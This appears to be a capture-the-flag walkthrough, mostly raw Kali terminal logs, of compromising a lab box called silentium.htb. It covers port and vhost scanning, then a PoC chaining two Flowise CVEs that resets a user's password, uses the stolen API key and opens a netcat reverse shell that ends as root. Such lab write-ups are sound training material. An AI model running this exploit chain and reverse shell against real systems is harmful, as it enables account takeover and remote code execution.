╭─ /home/kali ················································································ with root@kali at 0 ╰─❯ nmap -p- -sT --min-rate=10000 10.129.56.235 Starting Nmap 7.95 ( https://nmap.org ) at 2026-10-18 07:07 EDT Nmap scan report for 10.129.56.235 Host is up (0.093s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 14.29 seconds
发现开放了22和80端口，深度探测：
1 2 3 4 5 6 7 8 9 10 11 12 13 14
╭─ /home/kali ······························································· х INT with root@kali at 07:08:57 ─╮ ╰─❯ nmap -p22,80 -sT -sV 10.129.56.235 ─╯ Starting Nmap 7.95 ( https://nmap.org ) at 2026-10-18 07:09 EDT Nmap scan report for 10.129.56.235 Host is up (0.080s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.24.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.25 seconds
╭─ /home/kali ···························································· took 12s with root@kali at 07:09:41 ─╮ ╰─❯ nmap -p22,80 -sT -sV -sC 10.129.56.235 ─╯ Starting Nmap 7.95 ( https://nmap.org ) at 2026-10-18 07:11 EDT Nmap scan report for 10.129.56.235 Host is up (0.081s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA) |_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519) 80/tcp open http nginx 1.24.0 (Ubuntu) |_http-server-header: nginx/1.24.0 (Ubuntu) |_http-title: Did not follow redirect to http://silentium.htb/ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 10.54 seconds
╭─ /home/kali ····································································· with root@kali at 07:14:08 ─╮ ╰─❯ dirsearch -u "http://silentium.htb/" ─╯ /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict
╭─ /home/kali ······················································· х INT took 3s with root@kali at 07:21:50 ─╮ ╰─❯ wfuzz -c -t 100 \ ─╯ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \ -u http://silentium.htb \ -H "Host: FUZZ.silentium.htb" \ --hc 301 --hh 0 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ********************************************************
Target: http://silentium.htb/ Total requests: 19966
===================================================================== ID Response Lines Word Chars Payload =====================================================================
000000067: 200 69 L 239 W 3142 Ch "staging" ^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests...
╭─ /home/kali ····································································· with root@kali at 07:23:12 ─╮ ╰─❯ whatweb -v http://staging.silentium.htb/signin ─╯ WhatWeb report for http://staging.silentium.htb/signin Status : 200 OK Title : Flowise - Build AI Agents, Visually IP : 10.129.56.235 Country : RESERVED, ZZ
Detected Plugins: [ HTML5 ] HTML version 5, detected by the doctype declaration
[ HTTPServer ] HTTP server header string. This plugin also attempts to identify the operating system from the server header.
OS : Ubuntu Linux String : nginx/1.24.0 (Ubuntu) (from server string)
[ Meta-Author ] This plugin retrieves the author name from the meta name tag - info: http://www.webmarketingnow.com/tips/meta-tags-uncovered.html #author
String : FlowiseAI
[ Open-Graph-Protocol ] The Open Graph protocol enables you to integrate your Web pages into the social graph. It is currently designed for Web pages representing profiles of real-world things . things like movies, sports teams, celebrities, and restaurants. Including Open Graph tags on your Web page, makes your page equivalent to a Facebook Page.
Version : website
[ Script ] This plugin detects instances of script HTML elements and returns the script language/type.
String : module
[ UncommonHeaders ] Uncommon HTTP server headers. The blacklist includes all the standard headers and many non standard but common ones. Interesting but fairly common headers should have their own plugins, eg. x-powered-by, server and x-aspnet-version. Info about headers can be found at www.http-stats.com
╭─ /home/k/De/tools/CVE/CVE-2025-58434-AND-59528-POC/CVE-2025-58434-59528 on main · with root@kali at 07:53:28 ─╮ ╰─❯ python3 flowise_chain.py -t http://staging.silentium.htb/ -e ben@silentium.htb ─╯
[*] Mode: Command execution [*] Command: id [*] Target: http://staging.silentium.htb
[*] Checking Flowise version... [*] Version: 3.0.5 [+] Version 3.0.5 is vulnerable.
[*] Email: ben@silentium.htb [*] Step 1: CVE-2025-58434 — Requesting password reset token... [+] Got tempToken for user 'admin' [*] Step 2: Resetting password to 'Pwn3d!2026'... [+] Password reset successful.
============================================================== MANUAL STEP REQUIRED ============================================================== The password for 'ben@silentium.htb' has been reset to: Password: Pwn3d!2026
Due to a Flowise 3.0.5 quirk, the API login endpoint doesn't accept the new password immediately. You need to grab the API key from the UI manually:
1. Browse to: http://staging.silentium.htb/login 2. Login with: ben@silentium.htb / Pwn3d!2026 3. Navigate to: http://staging.silentium.htb/apikey 4. Copy the API key shown on the page ==============================================================
Paste API key here and press Enter: hWp_8jB76zi0VtKSr2d9TfGK1fm6NuNPg1uA-8FsUJc
[*] Now set up a listener for the reverse shell. Enter your IP (LHOST): 10.10.17.181 Enter your port (LPORT) [4444]:
[!] Start listener: nc -lvnp 4444 [*] Press Enter when listener is ready...
[+] API key: hWp_8jB76zi0VtKS... [*] Step 4: CVE-2025-59528 — Triggering CustomMCP RCE... [+] TIMEOUT — reverse shell may have connected
(Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 127.0.0.1:8025 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.54:53 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:1025 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:44337 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:3001 0.0.0.0:* LISTEN -
┌──(kali㉿kali)-[~] └─$ nc -lvp 8888 listening on [any] 8888 ... connect to [10.10.17.181] from silentium.htb [10.129.56.235] 60932 bash: cannot set terminal process group (1507): Inappropriate ioctl for device bash: no job control in this shell root@silentium:/opt/gogs/gogs/data/tmp/local-repo/1# ls ls malicious_link README.md root@silentium:/opt/gogs/gogs/data/tmp/local-repo/1# clear clear TERM environment variable not set. root@silentium:/opt/gogs/gogs/data/tmp/local-repo/1# id id uid=0(root) gid=0(root) groups=0(root) root@silentium:/opt/gogs/gogs/data/tmp/local-repo/1# cat /root/root.txt cat /root/root.txt
